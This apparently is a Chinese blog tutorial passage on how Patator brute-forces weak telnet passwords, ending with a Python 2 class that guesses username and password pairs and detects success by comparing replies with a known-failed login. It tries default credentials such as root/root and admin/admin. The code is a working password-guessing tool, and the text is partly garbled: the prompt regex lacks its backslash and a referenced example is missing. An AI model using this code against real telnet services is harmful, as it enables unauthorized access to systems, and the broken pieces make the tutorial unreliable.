把核心部分抽出来,流程是这样的。

      创建一个连接到telnetlib.Telnet对象fp  -->> 等待出现匹配正则(w+:)字符出现(如 login:,username等)

      -->> 发送用户名 -->>继续等待(w+:)出现(如passwd:,Password:) -->> 发送密码  ->> 等待(w+:)出现,输出返回字符串

      过程是这么简单,其中expect函数接受二个参数,第一个是正则表达式的列表,可以是编译好的,也可以是字符串,第二个是超时时间。

  返回一个三项的tuple,第一个是匹配到的正则序号(从0开始),第二个是匹配match的对象,第三个是直到正则的返回数据(包括匹配内容)

  这说的有点抽象。

  请看下面:

 从上面我们可以很明显看出,匹配的正则是按顺序的,虽然返回数据中,‘bo'在’lo'之前,但由于在正则列表中‘lo'在前,所以数据一致读到’lo'。

  到这里为止,大家应该对Patator如何去爆telnet弱密码基本了解了。

  但如果我们想直接得出破解的用户名和密码,这该怎么办呢?

  有一种思路是提供一个错误的用户名和密码,保存返回的内容,然后每次获取要测试的用户名和密码的回内容,通过比较两次的结果可以结果了。但由于返回内容会千奇百怪,所以要做较多的特殊处理。

  如以下代码:

import telnetlib

class telnet_check:
 def __init__(self,host,port=23,timeout=10):
  self.host=host
  self.port=port
  self.timeout=timeout
  self.promote='w+:'
  self.errmsg=''
  self.geterrmsg()

 def connect(self):
  return telnetlib.Telnet(self.host,self.port,self.timeout)

 def geterrmsg(self):
  f=self.connect()
  f.expect([self.promote],self.timeout)
  f.write('nullnull ')
  f.expect([self.promote],self.timeout)
  f.write('nullnull ')
  _,_,self.errmsg=f.expect([self.promote],self.timeout)
  self.errmsg=self.errmsg.strip()


 def check(self,User,Passwd):
  t=self.connect()
  t.expect([self.promote],self.timeout)
  t.write(User+' ')
  _,_,p=t.expect([self.promote],self.timeout)
  if p.strip() == self.errmsg:
   return False
  t.write(Passwd+' ')
  _,_,loginmsg=t.expect([self.promote],self.timeout)
  loginmsg=loginmsg.strip()
  if self.errmsg != '' and self.errmsg != loginmsg:
   return True
  else:
   return False


if __name__=='__main__':
 tn=telnet_check('127.0.0.1')
 print tn.check('yihaibo','1')
 print tn.check('root','root')
 print tn.check('admin','admin')